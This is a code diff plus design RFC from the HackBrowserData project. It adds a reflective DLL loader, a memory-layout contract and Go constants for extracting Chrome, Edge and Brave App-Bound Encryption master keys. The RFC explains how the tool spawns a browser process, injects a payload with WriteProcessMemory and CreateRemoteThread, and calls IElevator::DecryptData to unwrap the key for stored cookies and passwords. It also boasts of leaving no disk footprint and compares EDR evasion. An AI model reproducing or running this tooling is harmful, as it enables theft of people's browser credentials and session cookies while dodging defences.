MARK(imageBase, BOOTSTRAP_MARK_ERR_IMPORTS);
return 0;
}
MARK(imageBase, BOOTSTRAP_MARK_IMPORTS_OK);
PIMAGE_NT_HEADERS64 newNt;
BYTE *newBase = allocate_and_copy_image(imageBase, &imp, &newNt);
if (!newBase) {
MARK(imageBase, BOOTSTRAP_MARK_ERR_ALLOC);
return 0;
}
MARK(imageBase, BOOTSTRAP_MARK_ALLOC_OK);
MARK(imageBase, BOOTSTRAP_MARK_COPIED);
apply_base_relocations(newBase, newNt);
MARK(imageBase, BOOTSTRAP_MARK_RELOCATED);
link_iat(newBase, newNt, &imp);
MARK(imageBase, BOOTSTRAP_MARK_IMPORTS_FIXED);
set_section_protections(newBase, newNt, &imp);
MARK(imageBase, BOOTSTRAP_MARK_PERMISSIONS);
imp.NtFlushInstructionCache((HANDLE)-1, NULL, 0);
MARK(imageBase, BOOTSTRAP_MARK_CACHE_FLUSHED);
ULONG_PTR result = invoke_dllmain(newBase, newNt, imageBase);
MARK(imageBase, BOOTSTRAP_MARK_DONE);
return result;
}
+1 -42
View File
@@ -1,50 +1,9 @@
// SPDX-License-Identifier: Apache-2.0
#ifndef HBD_ABE_BOOTSTRAP_H
#define HBD_ABE_BOOTSTRAP_H
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
// Scratch layout inside imageBase (the raw-file payload region in the
// target process). Shared contract with the Go injector — keep the
// offsets and meanings in sync with utils/injector/reflective_windows.go.
//
// 0x28 step marker (written by Bootstrap)
// 0x29 key status (0x01 = ready, written by DllMain)
// 0x40..0x67 pre-Bootstrap: 5 pre-resolved Win32 fn pointers
// post-DllMain : 32-byte master key at 0x40..0x5F
//
// Windows' PE loader ignores the DOS stub region (0x40..0x77), and
// Bootstrap only reads the imports once at function start, so DllMain
// can safely overwrite 0x40..0x5F with the key afterwards.
#define BOOTSTRAP_MARKER_OFFSET 0x28
#define BOOTSTRAP_KEY_STATUS_OFFSET 0x29
#define BOOTSTRAP_KEY_STATUS_READY 0x01
#define BOOTSTRAP_KEY_OFFSET 0x40
#define BOOTSTRAP_KEY_LEN 32
#define BOOTSTRAP_IMPORT_LOADLIBRARYA_OFFSET 0x40
#define BOOTSTRAP_IMPORT_GETPROCADDRESS_OFFSET 0x48
#define BOOTSTRAP_IMPORT_VIRTUALALLOC_OFFSET 0x50
#define BOOTSTRAP_IMPORT_VIRTUALPROTECT_OFFSET 0x58
#define BOOTSTRAP_IMPORT_NTFLUSHIC_OFFSET 0x60
#define BOOTSTRAP_MARK_MZ_FOUND 0x02
#define BOOTSTRAP_MARK_IMPORTS_OK 0x05
#define BOOTSTRAP_MARK_ALLOC_OK 0x06
#define BOOTSTRAP_MARK_COPIED 0x07
#define BOOTSTRAP_MARK_RELOCATED 0x08
#define BOOTSTRAP_MARK_IMPORTS_FIXED 0x09
#define BOOTSTRAP_MARK_PERMISSIONS 0x0A
#define BOOTSTRAP_MARK_CACHE_FLUSHED 0x0B
#define BOOTSTRAP_MARK_DONE 0xFF
#define BOOTSTRAP_MARK_ERR_IMPORTS 0xE3
#define BOOTSTRAP_MARK_ERR_ALLOC 0xE4
#include "bootstrap_layout.h"
#ifdef __cplusplus
extern "C" {
@@ -0,0 +1,43 @@
// Code generated by cmd/cgo -godefs; DO NOT EDIT.
// cgo -godefs layout_gen.go
package bootstrap
const (
MarkerOffset = 0x28
KeyStatusOffset = 0x29
KeyStatusReady = 0x1
ExtractErrCodeOffset = 0x2a
HResultOffset = 0x2c
ComErrOffset = 0x30
KeyOffset = 0x40
KeyLen = 0x20
ImpLoadLibraryAOffset = 0x40
ImpGetProcAddressOffset = 0x48
ImpVirtualAllocOffset = 0x50
ImpVirtualProtectOffset = 0x58
ImpNtFlushICOffset = 0x60
MarkMZFound = 0x2
MarkImportsOK = 0x5
MarkAllocOK = 0x6
MarkCopied = 0x7
MarkRelocated = 0x8
MarkImportsFixed = 0x9
MarkPermissions = 0xa
MarkCacheFlushed = 0xb
MarkDone = 0xff
MarkErrImports = 0xe3
MarkErrAlloc = 0xe4
ErrOk = 0x0
ErrBasename = 0x1
ErrBrowserUnknown = 0x2
ErrEnvMissing = 0x3
ErrBase64 = 0x4
ErrBstrAlloc = 0x5
ErrComCreate = 0x6
ErrDecryptData = 0x7
ErrKeyLen = 0x8
)
@@ -0,0 +1,50 @@
//go:build ignore
// Code generation entry for scratch layout constants shared between the
// C payload and the Go injector. Regenerate with `make gen-layout`.
package bootstrap
/*
#include "../bootstrap_layout.h"
*/
import "C"
const (
MarkerOffset = C.BOOTSTRAP_MARKER_OFFSET
KeyStatusOffset = C.BOOTSTRAP_KEY_STATUS_OFFSET
KeyStatusReady = C.BOOTSTRAP_KEY_STATUS_READY
ExtractErrCodeOffset = C.BOOTSTRAP_EXTRACT_ERR_CODE_OFFSET
HResultOffset = C.BOOTSTRAP_HRESULT_OFFSET
ComErrOffset = C.BOOTSTRAP_COMERR_OFFSET
KeyOffset = C.BOOTSTRAP_KEY_OFFSET
KeyLen = C.BOOTSTRAP_KEY_LEN
ImpLoadLibraryAOffset = C.BOOTSTRAP_IMPORT_LOADLIBRARYA_OFFSET
ImpGetProcAddressOffset = C.BOOTSTRAP_IMPORT_GETPROCADDRESS_OFFSET
ImpVirtualAllocOffset = C.BOOTSTRAP_IMPORT_VIRTUALALLOC_OFFSET
ImpVirtualProtectOffset = C.BOOTSTRAP_IMPORT_VIRTUALPROTECT_OFFSET
ImpNtFlushICOffset = C.BOOTSTRAP_IMPORT_NTFLUSHIC_OFFSET
MarkMZFound = C.BOOTSTRAP_MARK_MZ_FOUND
MarkImportsOK = C.BOOTSTRAP_MARK_IMPORTS_OK
MarkAllocOK = C.BOOTSTRAP_MARK_ALLOC_OK
MarkCopied = C.BOOTSTRAP_MARK_COPIED
MarkRelocated = C.BOOTSTRAP_MARK_RELOCATED
MarkImportsFixed = C.BOOTSTRAP_MARK_IMPORTS_FIXED
MarkPermissions = C.BOOTSTRAP_MARK_PERMISSIONS
MarkCacheFlushed = C.BOOTSTRAP_MARK_CACHE_FLUSHED
MarkDone = C.BOOTSTRAP_MARK_DONE
MarkErrImports = C.BOOTSTRAP_MARK_ERR_IMPORTS
MarkErrAlloc = C.BOOTSTRAP_MARK_ERR_ALLOC
ErrOk = C.ABE_ERR_OK
ErrBasename = C.ABE_ERR_BASENAME
ErrBrowserUnknown = C.ABE_ERR_BROWSER_UNKNOWN
ErrEnvMissing = C.ABE_ERR_ENV_MISSING
ErrBase64 = C.ABE_ERR_BASE64
ErrBstrAlloc = C.ABE_ERR_BSTR_ALLOC
ErrComCreate = C.ABE_ERR_COM_CREATE
ErrDecryptData = C.ABE_ERR_DECRYPT_DATA
ErrKeyLen = C.ABE_ERR_KEY_LEN
)
@@ -0,0 +1,99 @@
#ifndef HBD_ABE_BOOTSTRAP_LAYOUT_H
#define HBD_ABE_BOOTSTRAP_LAYOUT_H
#include <stdint.h>
#include <stddef.h>
// BootstrapScratch describes the IPC contract between the C payload running
// inside chrome.exe and the Go injector in our own process. It squats inside
// the target DLL's PE DOS header region. Windows' PE loader ignores the DOS
// stub at 0x40..0x77, and we also borrow a few reserved bytes between 0x28
// and 0x3B inside IMAGE_DOS_HEADER. The e_lfanew at 0x3C..0x3F MUST be left
// untouched so the PE loader can still find the NT headers.
//
// This header is deliberately free of <windows.h> so cgo -godefs can read it
// on macOS / Linux to regenerate the Go-side constants.
typedef struct __attribute__((packed)) BootstrapScratch {
uint8_t dos_header_prefix[0x28]; // 0x00..0x27
uint8_t marker; // 0x28: Bootstrap progress marker
uint8_t key_status; // 0x29: 0x01 = key ready
uint8_t extract_err_code; // 0x2A: ABE_ERR_* category on failure
uint8_t _reserved_2b; // 0x2B
uint32_t hresult; // 0x2C: COM HRESULT on failure (0 otherwise)
uint32_t com_err; // 0x30: IElevator.DecryptData out DWORD on failure
uint8_t dos_header_tail[0x40 - 0x34]; // 0x34..0x3F, includes e_lfanew @ 0x3C
// 0x40..0x67: time-shared region
// pre-Bootstrap: 5 pre-resolved kernel32/ntdll function pointers
// post-DllMain : 32-byte master key at 0x40..0x5F
union {
struct {
uintptr_t LoadLibraryA; // 0x40
uintptr_t GetProcAddress; // 0x48
uintptr_t VirtualAlloc; // 0x50
uintptr_t VirtualProtect; // 0x58
uintptr_t NtFlushInstructionCache; // 0x60
} imports;
uint8_t key[32]; // 0x40..0x5F
} shared;
} BootstrapScratch;
// Byte offsets derived from the struct. These are the ONLY place raw numeric
// offsets appear; every C and Go consumer uses these names (or the Go-side
// constants generated from them via cgo -godefs).
#define BOOTSTRAP_MARKER_OFFSET offsetof(struct BootstrapScratch, marker)
#define BOOTSTRAP_KEY_STATUS_OFFSET offsetof(struct BootstrapScratch, key_status)
#define BOOTSTRAP_KEY_STATUS_READY 0x01
#define BOOTSTRAP_EXTRACT_ERR_CODE_OFFSET offsetof(struct BootstrapScratch, extract_err_code)
#define BOOTSTRAP_HRESULT_OFFSET offsetof(struct BootstrapScratch, hresult)
#define BOOTSTRAP_COMERR_OFFSET offsetof(struct BootstrapScratch, com_err)
#define BOOTSTRAP_KEY_OFFSET offsetof(struct BootstrapScratch, shared.key)
#define BOOTSTRAP_KEY_LEN 32
#define BOOTSTRAP_IMPORT_LOADLIBRARYA_OFFSET offsetof(struct BootstrapScratch, shared.imports.LoadLibraryA)
#define BOOTSTRAP_IMPORT_GETPROCADDRESS_OFFSET offsetof(struct BootstrapScratch, shared.imports.GetProcAddress)
#define BOOTSTRAP_IMPORT_VIRTUALALLOC_OFFSET offsetof(struct BootstrapScratch, shared.imports.VirtualAlloc)
#define BOOTSTRAP_IMPORT_VIRTUALPROTECT_OFFSET offsetof(struct BootstrapScratch, shared.imports.VirtualProtect)
#define BOOTSTRAP_IMPORT_NTFLUSHIC_OFFSET offsetof(struct BootstrapScratch, shared.imports.NtFlushInstructionCache)
// Progress markers written by Bootstrap itself (enum-like, not offsets).
#define BOOTSTRAP_MARK_MZ_FOUND 0x02
#define BOOTSTRAP_MARK_IMPORTS_OK 0x05
#define BOOTSTRAP_MARK_ALLOC_OK 0x06
#define BOOTSTRAP_MARK_COPIED 0x07
#define BOOTSTRAP_MARK_RELOCATED 0x08
#define BOOTSTRAP_MARK_IMPORTS_FIXED 0x09
#define BOOTSTRAP_MARK_PERMISSIONS 0x0A
#define BOOTSTRAP_MARK_CACHE_FLUSHED 0x0B
#define BOOTSTRAP_MARK_DONE 0xFF
#define BOOTSTRAP_MARK_ERR_IMPORTS 0xE3
#define BOOTSTRAP_MARK_ERR_ALLOC 0xE4
// Failure categories written by abe_extractor.c. Complements hresult: many
// failures (env missing, unknown browser) have no COM HRESULT, so they need
// a separate category code. 0 = no error / success.
#define ABE_ERR_OK 0x00
#define ABE_ERR_BASENAME 0x01 // GetOwnExeBasename failed
#define ABE_ERR_BROWSER_UNKNOWN 0x02 // exe not in com_iid table
#define ABE_ERR_ENV_MISSING 0x03 // HBD_ABE_ENC_B64 missing or oversized
#define ABE_ERR_BASE64 0x04 // CryptStringToBinaryA failed
#define ABE_ERR_BSTR_ALLOC 0x05 // SysAllocStringByteLen returned NULL
#define ABE_ERR_COM_CREATE 0x06 // CoCreateInstance failed both v1 and v2
#define ABE_ERR_DECRYPT_DATA 0x07 // IElevator.DecryptData returned failure HRESULT
#define ABE_ERR_KEY_LEN 0x08 // DecryptData succeeded but wrong length
// Compile-time layout verification. Any drift here = build break.
_Static_assert(sizeof(void *) == 8, "BootstrapScratch layout assumes 64-bit");
_Static_assert(offsetof(struct BootstrapScratch, marker) == 0x28, "marker offset");
_Static_assert(offsetof(struct BootstrapScratch, key_status) == 0x29, "key_status offset");
_Static_assert(offsetof(struct BootstrapScratch, extract_err_code) == 0x2A, "extract_err_code offset");
_Static_assert(offsetof(struct BootstrapScratch, hresult) == 0x2C, "hresult offset");
_Static_assert(offsetof(struct BootstrapScratch, com_err) == 0x30, "com_err offset");
_Static_assert(offsetof(struct BootstrapScratch, shared) == 0x40, "shared offset");
_Static_assert(sizeof(((struct BootstrapScratch *)0)->shared.key) == 32, "key length");
#endif // HBD_ABE_BOOTSTRAP_LAYOUT_H
-1
View File
@@ -1,4 +1,3 @@
// SPDX-License-Identifier: Apache-2.0
#include "com_iid.h"
// CLSID / IID values migrated from HackBrowserData-injector-old's
-2
View File
@@ -1,5 +1,3 @@
// SPDX-License-Identifier: Apache-2.0
#ifndef HBD_ABE_COM_IID_H
#define HBD_ABE_COM_IID_H
+329
View File
@@ -0,0 +1,329 @@
# RFC-010: Chrome App-Bound Encryption Integration
**Author**: moonD4rk
**Status**: Living Document
**Created**: 2026-04-17
**Last updated**: 2026-04-19
## 1. Overview
Chrome 127+ introduced **App-Bound Encryption (ABE)** on Windows. The `Local State` key that decrypts `v10`-era cookies/passwords is no longer a user-bound DPAPI blob; it is now an *app-bound* blob that only a legitimate `chrome.exe` / `msedge.exe` / `brave.exe` process can unwrap via the `elevation_service` COM RPC (`IElevator::DecryptData`).
This RFC documents how HackBrowserData integrates ABE support end-to-end while keeping the project **pure Go by default, cross-platform, zero disk footprint at runtime, and zero cost for non-Windows contributors.**
Related RFCs:
- [RFC-003](003-chromium-encryption.md) — cipher versions (v10, v11, v20)
- [RFC-006](006-key-retrieval-mechanisms.md) — `KeyRetriever` / `ChainRetriever`
- [RFC-009](009-windows-locked-file-bypass.md) — other Windows-specific handling
### 1.1 Tested matrix (as of 2026-04-19)
Single source of truth for version pins and observed-working targets. When re-validating, update dates and re-run the regression flow documented in the author's private playbook (not in this RFC).
| Component | Contract | Last verified |
|---|---|---|
| Go toolchain | **1.20** (pinned; Go 1.21+ drops Win7) | 1.20.14 |
| Windows host | Any Win10 1909+ (PE loader + UCRT) | Windows 10 19044 |
| Chrome family | Any v127+ (ABE introduced) | Chrome 147.0.7727.57 |
| zig toolchain | 0.13+ (for `make payload`) | 0.16.0 |
| Target arch | x86_64 only (x86 / ARM64 reserved) | x86_64 |
## 2. The constraint that shapes the design
`elevation_service` verifies the caller:
1. The calling process's main executable must be a **legitimate browser binary** (path in `Program Files`, signed by the browser vendor).
2. Process integrity is checked via other sandbox gates.
Consequence: **the code that issues the `IElevator::DecryptData` COM call must be running inside a `chrome.exe` / `msedge.exe` / `brave.exe` process**. A plain Go process, even elevated, is refused.
The architecture therefore ships a small native payload, injects it into a freshly-spawned browser process, has it invoke the COM RPC, and hands the 32-byte master key back to the Go side. Everything else (v20 AES-GCM decrypt, DB iteration, JSON output) is already Go.
## 3. Architecture
End-to-end flow when `hack-browser-data.exe` encounters a v20 Chromium cookie on Windows:
**Stage 1 — Our process** (`hbd.exe`, `CGO_ENABLED=0`)
```
browser/chromium.Extract()
→ keyretriever.Chain [ABERetriever, DPAPIRetriever]
→ ABERetriever.RetrieveKey():
reads Local State → extracts APPB-prefixed blob
resolves browser exe via registry App Paths
→ utils/injector.Reflective.Inject(exePath, payload, env)
```
**Stage 2 — Payload preparation** (still our process)
1. Read the embedded payload via `//go:embed abe_extractor_amd64.bin` (~75 KB).
2. Patch 5 × `uintptr` function pointers into the payload's DOS stub (see §4.4).
3. Look up `Bootstrap`'s **raw file offset** (not RVA) via `debug/pe`.
**Stage 3 — Spawn + inject** (still our process, target is newly spawned)
```
CreateProcessW(browser.exe, CREATE_SUSPENDED)
VirtualAllocEx(target, RWX, sizeOf(payload))
WriteProcessMemory(patched bytes)
ResumeThread(mainThread) + Sleep(500ms) // let ntdll finish loader init
CreateRemoteThread(target, remoteBase + bootstrapFileOffset)
```
**Stage 4 — Inside the remote `browser.exe`**
The hijacked thread runs `Bootstrap` (C), our self-written reflective DLL loader. On return it calls the payload's `DllMain`:
```
Bootstrap → see §4.1 (7 helpers + orchestrator)
↓ calls DllMain(DLL_PROCESS_ATTACH, imageBase)
DoExtractKey → see §4.2
CoCreateInstance(CLSID, IID_v2 | fallback IID_v1)
CoSetProxyBlanket(PKT_PRIVACY + IMPERSONATE)
vtbl[slot]->DecryptData(bstrEnc)
↓ COM RPC
elevation_service (SYSTEM) → returns 32-byte plaintext key
publish_key() → imageBase[0x40..0x5F] (success)
publish_error(code, hr, comErr) (failure)
```
**Stage 5 — Back in our process**
1. `WaitForSingleObject(thread, 30s)` — covers cold-start of `GoogleChromeElevationService`.
2. `ReadProcessMemory` for the 12-byte diagnostic header, then 32-byte key when `status == ready`.
3. `TerminateProcess(browser)` — the target was a throwaway from the start.
The returned key flows back up to `crypto.DecryptChromiumV20` (cross-platform AES-256-GCM; see §5.3) and then to the usual cookie/password extraction pipeline.
## 4. C payload — `crypto/windows/abe_native/`
Three translation units, ~500 lines of pure C. No C++, no assembly, no direct syscalls, no vendored third-party code (Stephen Fewer's loader was evaluated and rejected — see §8.2). Built with `zig cc -target x86_64-windows-gnu`.
### 4.1 Reflective loader — `bootstrap.c`
`Bootstrap(LPVOID lpParameter)` exported as `__declspec(dllexport)`. The Go injector calls it at its **raw file offset** (not RVA) because we inject raw file bytes rather than a mapped image.
Structure after refactor: **one ~30-line orchestrator + seven single-purpose static helpers**:
| Helper | Responsibility |
|---|---|
| `locate_own_image_base` | Backward-scan from `__builtin_return_address(0)` for MZ/PE magic (must stay `noinline`) |
| `read_preresolved_imports` | Read 5 function pointers the Go injector patched into DOS stub (§4.4) |
| `allocate_and_copy_image` | `VirtualAlloc(SizeOfImage, RW)` + copy headers/sections |
| `apply_base_relocations` | Walk `IMAGE_DIRECTORY_ENTRY_BASERELOC`, fix `IMAGE_REL_BASED_DIR64` |
| `link_iat` | Resolve each imported DLL + fill IAT via pre-resolved `LoadLibraryA` / `GetProcAddress` |
| `set_section_protections` | `.text → RX`, `.rdata → R`, `.data → RW` per `Characteristics` |
| `invoke_dllmain` | Call mapped `DllMain(DLL_PROCESS_ATTACH, imageBase)``imageBase` is the scratch handoff pointer |
Progress markers: after each major step the orchestrator writes one byte to `imageBase + BOOTSTRAP_MARKER_OFFSET` (0x28, inside `IMAGE_DOS_HEADER.e_res2`). The Go injector reads this back on failure to pinpoint the stage.
### 4.2 COM extractor — `abe_extractor.c`
Standard DLL whose `DllMain(DLL_PROCESS_ATTACH)` delegates to `DoExtractKey`, which is itself a thin orchestrator:
```
DoExtractKey(imageBase)
CoInitializeEx(APARTMENTTHREADED)
GetOwnExeBasename → LookupBrowserByExe (com_iid.c)
extract_key_inner(ids) → extract_result { hr, comErr, errCode, plain }
if errCode == OK && plain correct length:
publish_key(imageBase, plain) // atomic write with MemoryBarrier
else:
publish_error(imageBase, code, hr, comErr)
SysFreeString + SecureZeroMemory + CoUninitialize
```
`extract_key_inner` owns a single resource (`bstrEnc`) and uses early returns — no goto chain. Steps: read `HBD_ABE_ENC_B64` env var, base64-decode, `SysAllocStringByteLen`, `CoCreateInstance(IID_v2)` with fallback to `IID_v1`, `CoSetProxyBlanket(PKT_PRIVACY + IMPERSONATE)`, **slot-based vtable dispatch** of `DecryptData` (slot 5 for Chrome-family, 8 for Edge, 13 for Avast).
**Diagnostic channel** (`extract_err_code` / `hresult` / `com_err` fields in the scratch region, added alongside the success byte): lets the Go side report structured failures like `err=CoCreateInstance failed, hr=E_ACCESSDENIED (0x80070005), comErr=0x0` instead of the old `status=0x00, marker=0xff`. Failure categories enumerated in `bootstrap_layout.h`:
```
ABE_ERR_BASENAME / BROWSER_UNKNOWN / ENV_MISSING / BASE64
ABE_ERR_BSTR_ALLOC / COM_CREATE / DECRYPT_DATA / KEY_LEN
```
### 4.3 Vendor table — `com_iid.c` / `com_iid.h`
Static table mapping `exe_basename → { CLSID, IID_v1, IID_v2, kind }`. `kind` selects the DecryptData vtable slot. Schema:
```c
{ "chrome.exe", CHROME_BASE, { CLSID_bytes }, { IID_v1_bytes }, TRUE, { IID_v2_bytes } }
```
Current coverage: Chrome Stable/Beta, Brave, Edge, Avast Secure Browser, CocCoc. Source file `crypto/windows/abe_native/com_iid.c` is the authoritative list — see §10 for how to add a new fork.
### 4.4 Pre-resolved imports (non-obvious design)
The original plan had `Bootstrap` walk the PEB's `InMemoryOrderModuleList` to find kernel32 / ntdll and resolve `LoadLibraryA` etc. via export-table parsing. It worked in test processes but **crashed reproducibly in Chrome 147's broker process**`resolve_export` returned NULL for every LDR entry. Root cause was never fully pinpointed (Chrome-specific process state + Windows 10 LDR layout interaction).
Workaround: **Go resolves the 5 required functions in its own process** (via `windows.LazyProc.Addr()` in `utils/injector/winapi_windows.go`) and **patches the raw u64 values into the payload's DOS stub** at fixed offsets before `WriteProcessMemory`. `Bootstrap` just reads them; no PEB walk, no export parsing.
Validity relies on Windows **KnownDlls + session-consistent ASLR**`kernel32.dll` and `ntdll.dll` load at the same virtual address in all processes of a boot session.
## 5. Go integration
### 5.1 Injector package — `utils/injector/`
Three files collaborate:
| File | Role |
|---|---|
| `reflective_windows.go` | `Reflective.Inject(exePath, payload, env) ([]byte, error)` — the orchestrator |
| `winapi_windows.go` | Package-level `windows.LazyProc` handles + `callBoolErr` helper. Centralizes `VirtualAllocEx` / `CreateRemoteThread` / NtFlushIC / import-address lookups. `ReadProcessMemory` / `WriteProcessMemory` use `x/sys/windows` typed wrappers directly. |
| `errors_windows.go` | `formatABEError(scratchResult) string` — renders the C-side diag channel into human-readable strings via two lookup maps (`ABE_ERR_*` names + known HRESULT names like `E_ACCESSDENIED`). |
| `pe_windows.go` | `FindExportFileOffset(dllBytes, "Bootstrap")` — raw-file offset via `debug/pe`. |
| `arch_windows.go` | Architecture validation (amd64-only today). |
`scratchResult` is the Go mirror of the remote process's 12-byte diagnostic header: `Marker / Status / ErrCode / HResult / ComErr` + optional 32-byte `Key`. One `ReadProcessMemory` covers the header; a second reads the key only when `Status == KeyStatusReady`.
### 5.2 Scratch layout codegen
The C payload and Go injector communicate through a byte-level protocol inside the target process's DOS stub region. The layout is defined **once** as a `BootstrapScratch` struct + `offsetof`-based macros in `crypto/windows/abe_native/bootstrap_layout.h`. `_Static_assert`s in the same header guarantee compile-time detection of layout drift:
```c
_Static_assert(offsetof(struct BootstrapScratch, marker) == 0x28, "marker offset");
_Static_assert(offsetof(struct BootstrapScratch, hresult) == 0x2C, "hresult offset");
_Static_assert(offsetof(struct BootstrapScratch, shared) == 0x40, "shared offset");
```
Go consumes the same constants via **`go tool cgo -godefs`** (a development-time tool, not a runtime dependency). `make gen-layout` regenerates `crypto/windows/abe_native/bootstrap/layout.go` from `bootstrap_layout.h` using `CC="zig cc"` for bit-identical results across host OSes. `make gen-layout-verify` is wired into CI to fail if the committed `layout.go` is stale.
**Why `cgo -godefs` rather than runtime `import "C"`**: we only need constants shared, not FFI to C functions. Runtime CGO would force the whole project into `CGO_ENABLED=1`, losing the "non-Windows contributor needs no C toolchain" guarantee. `cgo -godefs` bakes the values into a pure-Go file that commits to git; the project stays `CGO_ENABLED=0`.
### 5.3 Retriever chain & v20 routing
`keyretriever.DefaultRetriever()` returns `ChainRetriever [ABERetriever, DPAPIRetriever]` on Windows. `ABERetriever.RetrieveKey`:
1. Reads `Local State` → extracts `os_crypt.app_bound_encrypted_key` → strips `APPB` prefix. Missing field → `errNoABEKey`, chain falls through to DPAPI.
2. Resolves browser executable via `utils/browserutil/path_windows.go` (registry App Paths → hardcoded fallback).
3. Base64-encodes the encrypted blob and passes it as `HBD_ABE_ENC_B64` env var.
4. `Reflective.Inject(exePath, payload, env)` runs the full flow in §3.
5. Returns the 32-byte key on success, or a formatted diagnostic error.
On extraction success, logs at `Info` level (`abe: retrieved <browser> master key via reflective injection`).
**v20 decryption** is cross-platform by design: `browser/chromium/decrypt.go` routes `CipherV20``crypto.DecryptChromiumV20` (defined in `crypto/crypto.go`, uses `AESGCMDecrypt`). This lets Linux/macOS CI exercise the same decryption path as Windows — only the key-source side is platform-gated.
## 6. Build chain
- **Default build** (any host, no zig): `go build ./cmd/hack-browser-data/` succeeds; ABE is stubbed out. Legacy v10/v11 cookies still decrypt via DPAPI.
- **Windows release with ABE**: `make build-windows` = `make payload` (zig cc → `crypto/abe_extractor_amd64.bin`) + `GOOS=windows go build -tags abe_embed`. The `abe_embed` tag activates `//go:embed` on the compiled binary.
- **Layout regen**: `make gen-layout` after any change to `bootstrap_layout.h`.
- **`go.mod` unchanged** — no new dependencies. `zig` is the only external toolchain, and only when actually rebuilding the payload.
## 7. Impact on non-Windows contributors — zero
| Scenario | Requires zig? | Requires CGO? | Default `go build ./...` succeeds? |
|---|---|---|---|
| macOS / Linux feature work | no | no | yes |
| Windows non-ABE (v10/DPAPI) | no | no | yes (stub path) |
| Windows release with ABE | **yes** | no | `make build-windows` |
| CI on any host (non-release) | no | no | yes |
All ABE-specific Go code is behind `//go:build windows` (plus `&& abe_embed` for the payload embed).
## 8. Zero disk footprint (enforced)
**No payload bytes ever touch disk on the target machine.**
- Payload DLL exists only as:
1. Build artifact on the developer machine (`crypto/abe_extractor_amd64.bin`, git-ignored)
2. `.rdata` section of `hack-browser-data.exe` (`//go:embed`)
3. Go `[]byte` in our process memory (one `copy()` for import patching)
4. `VirtualAllocEx`'d region in the target browser during injection; released on `TerminateProcess`
No `%TEMP%\*.dll` or `%TEMP%\*.txt`. The master key is handed back via `ReadProcessMemory` on the target's scratch region at `remoteBase + 0x40` (32 bytes). Everything stays in RAM.
### 8.1 Scratch layout
```
imageBase + 0x00 MZ header (untouched by us)
imageBase + 0x28 marker (1 B) ← Bootstrap progress
imageBase + 0x29 key_status (1 B; 0x01 = ready)
imageBase + 0x2A extract_err_code (1 B) ← ABE_ERR_* category on failure
imageBase + 0x2C hresult (4 B LE) ← COM HRESULT on failure (0 on success)
imageBase + 0x30 com_err (4 B LE) ← IElevator out DWORD on failure
imageBase + 0x3C e_lfanew (PE header ptr, MUST NOT overwrite)
imageBase + 0x40..0x67 shared region (union):
pre-Bootstrap: 5 × uintptr (LoadLibraryA, GetProcAddress,
VirtualAlloc, VirtualProtect, NtFlushIC)
post-DllMain : 32-byte master key at 0x40..0x5F
```
`0x40..0x5F` is **time-shared**: Go writes import pointers pre-injection; Bootstrap reads them once at function start; then DllMain overwrites the same bytes with the key. No concurrent readers.
## 9. Comparison with reference implementations
Three implementations of "extract Chrome v20 master key via reflective injection" exist in the ecosystem.
| Dimension | **This project** | **injector-old** (local C++ fork) | **xaitax/Chrome-App-Bound-Encryption-Decryption** |
|---|---|---|---|
| Top-level language | Go + C | Go + C++ | C++ end-to-end |
| Injector runtime | Go, `CGO_ENABLED=0` | Go, `CGO_ENABLED=0` | C++ standalone exe |
| Reflective loader | **Self-written C**, ~280 lines | Stephen Fewer 2012 `ReflectiveLoader` (vendored C, ~500) | Self-written C++, ~400 |
| kernel32 resolution | **Pre-resolved by Go, patched into DOS stub** | PEB walk + `_rotr` hash | PEB walk + `_rotr` hash |
| Syscall mechanism | Win32 APIs | Win32 APIs | Direct syscall via ASM trampoline |
| COM DecryptData dispatch | Vtable slot by browser kind (5/8/13) | Full interface via `ComPtr` | Same as injector-old |
| IPC payload → injector | **env var in, scratch-region read out** | Named pipe (full duplex) | Named pipe (full duplex) |
| Build toolchain for payload | `zig cc` | MSVC / clang-cl | MSVC |
| Runtime disk footprint | **0 bytes** | 1 temp file + pipe | Pipe |
| EDR evasion posture | None (Win32 APIs visible) | Partial (optional Nt*) | Strong (direct syscalls) |
### 9.1 Why we didn't vendor xaitax's Bootstrap
Tempting — it's known-good. But: C++ in an otherwise pure-C/Go repo; ASM trampolines + direct syscalls add a second toolchain leg; pipe-based IPC is 300+ lines of C we don't need; browser termination is a product-policy decision we skipped.
### 9.2 Why we abandoned Stephen Fewer's loader
`while(curr)` loop without `curr != head` termination → walked past end of the circular `InMemoryOrderModuleList` → dereferenced `PEB_LDR_DATA` itself as an `LDR_DATA_TABLE_ENTRY` → access-violated on `BaseDllName.pBuffer`. The 2012-era struct alignment hack (commented-out first `LIST_ENTRY`) also makes it brittle against Windows internals. Our replacement is strictly smaller, addresses these bugs explicitly, and is first-party.
## 10. Browser coverage
As of 2026-04-19, tested against Chrome 147 family.
| Browser class | Behavior | Status |
|---|---|---|
| Chrome Stable/Beta, Brave, CocCoc | ABE v20 via `CHROME_BASE` slot (5) | ✅ verified (cookies + passwords, zero non-ASCII in output) |
| Microsoft Edge | ABE v20 via `EDGE` slot (8); v2 `E_NOINTERFACE` → v1 fallback succeeds | ✅ verified |
| Avast Secure Browser | ABE v20 via `AVAST` slot (13) | ⚠️ table entry shipped; not yet sandbox-tested |
| Opera / OperaGX / Vivaldi / Yandex / Arc / 360 / QQ / Sogou | Not in `com_iid.c` | ⚠️ legacy v10 cookies still decrypt via DPAPI; v20 cookies do not |
Authoritative CLSID/IID table: `crypto/windows/abe_native/com_iid.c`.
## 11. Adding support for a new Chromium fork
Three steps. Detail (dump scripts, CLSID discovery) lives in private maintainer notes.
1. **Discover CLSID** — find the fork's elevation Windows service, look up its AppID in `HKLM\SOFTWARE\Classes\AppID`, then the CLSID that binds to it in `HKLM\SOFTWARE\Classes\CLSID`.
2. **Mine IIDs from TypeLib** — the interface IIDs live in the TypeLib resource of `<InstallDir>\Application\<version>\elevation_service.exe`. PowerShell + `ITypeLib.GetTypeInfo` enumerates them. Map `IElevator<Vendor>` → v1 IID, `IElevator2<Vendor>` → v2 IID (absent for older vendors).
3. **Determine vtable slot** — count `IElevator` methods in the TypeLib. Chrome-family has 3 methods (slot 5). Edge prepends 3 placeholders (slot 8). Avast extends the interface further (slot 13).
Edit `crypto/windows/abe_native/com_iid.c` (add the entry), `browser/browser_windows.go` (set `Storage: "<key>"` for the new `BrowserConfig`), optionally `utils/browserutil/path_windows.go` (for non-standard install paths), then `make payload-clean && make build-windows` and redeploy.
## 12. Known issues & future work
**Known**:
- Non-`com_iid.c` browsers (Opera, Vivaldi, Yandex, Arc, 360, QQ, Sogou) fall back to DPAPI; v20 cookies remain encrypted. Fix = §11 procedure per vendor.
